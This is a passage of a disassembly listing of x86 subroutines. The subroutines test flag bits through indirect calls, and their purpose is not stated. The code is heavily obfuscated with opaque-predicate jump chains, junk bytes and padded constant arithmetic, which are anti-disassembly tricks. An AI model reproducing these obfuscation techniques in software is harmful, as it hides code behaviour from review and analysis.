mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A165E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A165E: ; CODE XREF: sub_4A1576+DDj
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1576 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1672 proc near ; DATA XREF: sub_4965D8+1C8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 21h
pop ebx
jo short loc_4A16A5
jl short loc_4A16A3
loc_4A169E: ; CODE XREF: sub_4A1672:loc_4A16A3j
; sub_4A1672:loc_4A16A5j
jmp short loc_4A16A7
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A16A3: ; CODE XREF: sub_4A1672+2Aj
jz short loc_4A169E
loc_4A16A5: ; CODE XREF: sub_4A1672+28j
jmp short loc_4A169E
; ---------------------------------------------------------------------------
loc_4A16A7: ; CODE XREF: sub_4A1672:loc_4A169Ej
sub bl, 5
dec bl
sub bl, 2
push eax
dec bl
dec bl
jo short loc_4A16BF
jl short loc_4A16BD
loc_4A16B8: ; CODE XREF: sub_4A1672:loc_4A16BDj
; sub_4A1672:loc_4A16BFj
jmp short loc_4A16C1
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A16BD: ; CODE XREF: sub_4A1672+44j
jz short loc_4A16B8
loc_4A16BF: ; CODE XREF: sub_4A1672+42j
jmp short loc_4A16B8
; ---------------------------------------------------------------------------
loc_4A16C1: ; CODE XREF: sub_4A1672:loc_4A16B8j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1100h
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_4A16F3
jl short loc_4A16F1
loc_4A16EC: ; CODE XREF: sub_4A1672:loc_4A16F1j
; sub_4A1672:loc_4A16F3j
jmp short loc_4A16F5
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A16F1: ; CODE XREF: sub_4A1672+78j
jz short loc_4A16EC
loc_4A16F3: ; CODE XREF: sub_4A1672+76j
jmp short loc_4A16EC
; ---------------------------------------------------------------------------
loc_4A16F5: ; CODE XREF: sub_4A1672:loc_4A16ECj
inc eax
dec eax
jo short loc_4A1702
jl short loc_4A1700
loc_4A16FB: ; CODE XREF: sub_4A1672:loc_4A1700j
; sub_4A1672:loc_4A1702j
jmp short loc_4A1704
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A1700: ; CODE XREF: sub_4A1672+87j
jz short loc_4A16FB
loc_4A1702: ; CODE XREF: sub_4A1672+85j
jmp short loc_4A16FB
; ---------------------------------------------------------------------------
loc_4A1704: ; CODE XREF: sub_4A1672:loc_4A16FBj
inc eax
dec eax
inc eax
dec eax
jo short loc_4A1711
jl short loc_4A170F
loc_4A170C: ; CODE XREF: sub_4A1672:loc_4A170Fj
; sub_4A1672:loc_4A1711j
jmp short loc_4A1713
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A170F: ; CODE XREF: sub_4A1672+98j
jz short loc_4A170C
loc_4A1711: ; CODE XREF: sub_4A1672+96j
jmp short loc_4A170C
; ---------------------------------------------------------------------------
loc_4A1713: ; CODE XREF: sub_4A1672:loc_4A170Cj
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1737
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1737: ; CODE XREF: sub_4A1672+BAj
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1672 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A174B proc near ; DATA XREF: sub_4965D8+AFDo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 4Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Bh
inc cl
inc cl
inc cl
inc cl
inc cl
add cl, 2
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
add ecx, 3
and eax, ecx
pop ecx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A17DE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A17DE: ; CODE XREF: sub_4A174B+88j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A174B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A17F2 proc near ; DATA XREF: sub_4965D8+DBCo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 7
dec dh
sub dh, 2
and dh, 0
and ah, dh
mov dl, 4
dec dl
sub dl, 2
inc dl
dec dl
inc dl
dec dl
inc dl
dec dl
inc dl
inc dl
dec dl
dec dl
sub dl, 0FFh
dec dl
and al, dl
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1861
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1861: ; CODE XREF: sub_4A17F2+64j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A17F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1875 proc near ; DATA XREF: sub_4965D8+E00o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA4
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 0Eh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 85h
sub bl, 7
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D4
xor ecx, dword_4ED3D8
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1911
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1911: ; CODE XREF: sub_4A1875+91j
mov eax, [ebp+var_8]
push eax
call off_4F1D2C
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1875 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1925 proc near ; DATA XREF: sub_4965D8+9C0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
neg eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A19BB
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A19BB: ; CODE XREF: sub_4A1925+8Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1925 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A19CF proc near ; DATA XREF: sub_4965D8+BB3o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 87h
sub bl, 5
dec bl
dec bl
dec bl
and eax, 0
inc eax
dec bl
dec bl
sub bl, 1Ah
dec bl
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
mov eax, eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1A5E
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1A5E: ; CODE XREF: sub_4A19CF+84j
mov eax, [ebp+var_8]
push eax
call off_4F1D48
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A19CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1A72 proc near ; DATA XREF: sub_4965D8+BE0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DE8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AFh
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
sub cl, 3
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 1400h
inc dh
dec dh
inc dh
sub dh, 10h
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
jo short loc_4A1B37
jl short loc_4A1B35
loc_4A1B32: ; CODE XREF: sub_4A1A72:loc_4A1B35j
; sub_4A1A72:loc_4A1B37j
jmp short loc_4A1B39
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A1B35: ; CODE XREF: sub_4A1A72+BEj
jz short loc_4A1B32
loc_4A1B37: ; CODE XREF: sub_4A1A72+BCj
jmp short loc_4A1B32
; ---------------------------------------------------------------------------
loc_4A1B39: ; CODE XREF: sub_4A1A72:loc_4A1B32j
cmp eax, edx
jz short loc_4A1B50
jo short loc_4A1B48
jl short loc_4A1B46
loc_4A1B41: ; CODE XREF: sub_4A1A72:loc_4A1B46j
; sub_4A1A72:loc_4A1B48j
jmp short loc_4A1B4A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A1B46: ; CODE XREF: sub_4A1A72+CDj
jz short loc_4A1B41
loc_4A1B48: ; CODE XREF: sub_4A1A72+CBj
jmp short loc_4A1B41
; ---------------------------------------------------------------------------
loc_4A1B4A: ; CODE XREF: sub_4A1A72:loc_4A1B41j
and eax, 0
inc eax
jmp short loc_4A1B53
; ---------------------------------------------------------------------------
loc_4A1B50: ; CODE XREF: sub_4A1A72+C9j
and eax, 0
loc_4A1B53: ; CODE XREF: sub_4A1A72+DCj
mov [ebp+var_C], eax
mov ecx, dword_4ED418
xor ecx, dword_4ED41C
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1B76
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1B76: ; CODE XREF: sub_4A1A72+F9j
mov eax, [ebp+var_8]
push eax
call off_4F1D70
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1A72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1B8A proc near ; DATA XREF: sub_4965D8+E17o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 0AEh
sub cl, 0Ah
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
inc cl
dec cl
dec cl
dec cl
dec cl
inc cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
push eax
mov eax, [ebp+var_4]
mov edx, 200h
inc dh
inc dh
dec dh
inc dh
inc dh
inc dh
inc dh
inc dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1C73
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1C73: ; CODE XREF: sub_4A1B8A+DEj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1B8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1C87 proc near ; DATA XREF: sub_4965D8+47o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 800h
jmp short loc_4A1CB0
; ---------------------------------------------------------------------------
mov ebx, 80h
loc_4A1CB0: ; CODE XREF: sub_4A1C87+22j
mov ebx, 72h
not ebx
bswap eax
not ebx
inc ebx
inc ebx
add ebx, 8
dec ebx
push ecx
mov ecx, 4
add ebx, ecx
inc ebx
pop ecx
bswap eax
and eax, ebx
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1D24
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1D24: ; CODE XREF: sub_4A1C87+92j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1C87 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1D38 proc near ; DATA XREF: sub_4965D8+1229o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Ah
pop ebx
dec bl
dec bl
dec bl
add bl, 0FFh
add bl, 0FFh
dec bl
sub bl, 1
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
and al, bl
mov dh, 15h
and dl, 0
dec dh
sub dh, 6
dec dh
dec dh
dec dh
sub dh, 1
dec dh
dec dh
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_4A1DA3
not eax
add eax, 1
stc
jmp short loc_4A1DA9
; ---------------------------------------------------------------------------
loc_4A1DA3: ; CODE XREF: sub_4A1D38+61j
not eax
add eax, 1
clc
loc_4A1DA9: ; CODE XREF: sub_4A1D38+69j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1DD0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1DD0: ; CODE XREF: sub_4A1D38+8Dj
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1D38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1DE4 proc near ; DATA XREF: sub_4965D8+15B4o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 6
dec ch
dec ch
dec ch
jo short loc_4A1E2C
jl short loc_4A1E2A
loc_4A1E27: ; CODE XREF: sub_4A1DE4:loc_4A1E2Aj
; sub_4A1DE4:loc_4A1E2Cj
jmp short loc_4A1E2E
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_4A1E2A: ; CODE XREF: sub_4A1DE4+41j
jz short loc_4A1E27
loc_4A1E2C: ; CODE XREF: sub_4A1DE4+3Fj
jmp short loc_4A1E27
; ---------------------------------------------------------------------------
loc_4A1E2E: ; CODE XREF: sub_4A1DE4:loc_4A1E27j
and ah, ch
mov cl, 87h
sub cl, 12h
dec cl
dec cl
sub cl, 2
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_4A1F2F
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_4A1F1A
not eax
add eax, 1
stc
jmp short loc_4A1F20
; ---------------------------------------------------------------------------
loc_4A1F1A: ; CODE XREF: sub_4A1DE4+12Cj
not eax
add eax, 1
clc
loc_4A1F20: ; CODE XREF: sub_4A1DE4+134j
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_4A1F2F
and eax, 0
jmp short loc_4A1F33
; ---------------------------------------------------------------------------
loc_4A1F2F: ; CODE XREF: sub_4A1DE4+9Fj
; sub_4A1DE4+144j
and eax, 0
inc eax
loc_4A1F33: ; CODE XREF: sub_4A1DE4+149j
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A1F56
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A1F56: ; CODE XREF: sub_4A1DE4+167j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1DE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1F6A proc near ; DATA XREF: sub_4965D8+13C1o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
mov ebx, [ebp+arg_4]
dec esi
dec edi
xor edx, edx
or ebx, edx
jz short loc_4A1FA6
dec edi
and eax, 0
jmp short loc_4A1FAD
; ---------------------------------------------------------------------------
loc_4A1FA6: ; CODE XREF: sub_4A1F6A+34j
dec edi
and eax, 0
dec edi
dec edi
inc eax
loc_4A1FAD: ; CODE XREF: sub_4A1F6A+3Aj
mov [ebp+var_8], eax
mov eax, dword_4ED3D0
xor eax, dword_4ED3D4
shl eax, 1
mov [ebp+var_4], eax
cmp [ebp+var_8], 0
jz short loc_4A1FCF
mov ecx, [ebp+var_4]
or ecx, 1
mov [ebp+var_4], ecx
loc_4A1FCF: ; CODE XREF: sub_4A1F6A+5Aj
mov edx, [ebp+var_4]
push edx
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1F6A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A1FE3 proc near ; DATA XREF: sub_4965D8+AB9o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DCC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 40h
pop ecx
xor ecx, 40h
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
jo short loc_4A202F
jl short loc_4A202D
loc_4A2028: ; CODE XREF: sub_4A1FE3:loc_4A202Dj
; sub_4A1FE3:loc_4A202Fj
jmp short loc_4A2031
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_4A202D: ; CODE XREF: sub_4A1FE3+43j
jz short loc_4A2028
loc_4A202F: ; CODE XREF: sub_4A1FE3+41j
jmp short loc_4A2028
; ---------------------------------------------------------------------------
loc_4A2031: ; CODE XREF: sub_4A1FE3:loc_4A2028j
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_4A2041
not eax
add eax, 1
stc
jmp short loc_4A2047
; ---------------------------------------------------------------------------
loc_4A2041: ; CODE XREF: sub_4A1FE3+54j
not eax
add eax, 1
clc
loc_4A2047: ; CODE XREF: sub_4A1FE3+5Cj
sbb eax, eax
add eax, 1
mov [ebp+var_C], eax
mov ecx, dword_4ED3FC
xor ecx, dword_4ED400
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A206F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A206F: ; CODE XREF: sub_4A1FE3+81j
mov eax, [ebp+var_8]
push eax
call off_4F1D54
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A1FE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A2083 proc near ; DATA XREF: sub_4965D8+883o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 41h
mov ecx, 0Dh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
jo short loc_4A20BE
jl short loc_4A20BC
loc_4A20B9: ; CODE XREF: sub_4A2083:loc_4A20BCj
; sub_4A2083:loc_4A20BEj
jmp short loc_4A20C0
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_4A20BC: ; CODE XREF: sub_4A2083+34j
jz short loc_4A20B9
loc_4A20BE: ; CODE XREF: sub_4A2083+32j
jmp short loc_4A20B9
; ---------------------------------------------------------------------------
loc_4A20C0: ; CODE XREF: sub_4A2083:loc_4A20B9j
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
jo short loc_4A20D5
jl short loc_4A20D3
loc_4A20D0: ; CODE XREF: sub_4A2083:loc_4A20D3j
; sub_4A2083:loc_4A20D5j
jmp short loc_4A20D7
; ---------------------------------------------------------------------------
icebp
loc_4A20D3: ; CODE XREF: sub_4A2083+4Bj
jz short loc_4A20D0
loc_4A20D5: ; CODE XREF: sub_4A2083+49j
jmp short loc_4A20D0
; ---------------------------------------------------------------------------
loc_4A20D7: ; CODE XREF: sub_4A2083:loc_4A20D0j
dec ecx
inc ecx
add cl, 3
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 9
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_4A2124
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_4A2124: ; CODE XREF: sub_4A2083+96j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4A2083 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
